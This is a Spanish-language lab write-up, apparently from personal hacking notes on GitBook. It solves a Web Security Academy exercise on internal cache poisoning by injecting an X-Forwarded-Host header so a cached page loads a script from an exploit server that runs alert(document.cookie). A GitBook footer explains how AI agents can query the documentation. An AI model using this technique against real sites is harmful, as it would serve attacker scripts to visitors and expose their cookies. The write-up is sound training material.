> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/internal-cache-poisoning.md).

# Envenenamiento de caché interno

### Envenenamiento de caché interna

Este laboratorio es vulnerable al envenenamiento de la caché web y utiliza varias capas de caché. / Un usuario visita regularmente la página principal del sitio con Chrome.

El objetivo es envenenar la **caché interna** para que la página principal ejecute `alert(document.cookie)` en el navegador de la víctima.

**Análisis inicial**

Interceptamos la solicitud a la raíz (`/`) y analizamos con **Param Miner**

<figure><img src="/files/a2388d8d4bf56ec4329aad5675578d9cb1edf08e" alt=""><figcaption></figcaption></figure>

**Observación del comportamiento**

Cuando añadimos el siguiente encabezado a la solicitud:

<figure><img src="/files/7f08df4a7560c4cfd51ba9a04743e7a8ffe643e5" alt=""><figcaption></figcaption></figure>

Observamos que la respuesta del servidor refleja este valor.

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/9eb72fabcf37d0dc128c696a75e7eb2eb65974fa" alt=""><figcaption></figcaption></figure>

Sin embargo, esta modificación solo es visible si el encabezado se conserva a través de las solicitudes internas.

Al enviar numerosas solicitudes con este encabezado, el servidor termina **almacenando en caché la respuesta interna**.

\*\* Impacto en el contenido almacenado en caché\*\*

Un script cargado inicialmente en la forma:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

Después de envenenar la caché se transforma en:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/6573270fd66e103b92fe3b37ed53e626593bba91" alt=""><figcaption></figcaption></figure>

El origen del script ahora depende del valor inyectado mediante `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

La caché interna se envenena con una respuesta maliciosa. / Cuando la víctima visita la página principal, el navegador carga el script desde nuestro servidor, lo que provoca la ejecución de:

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
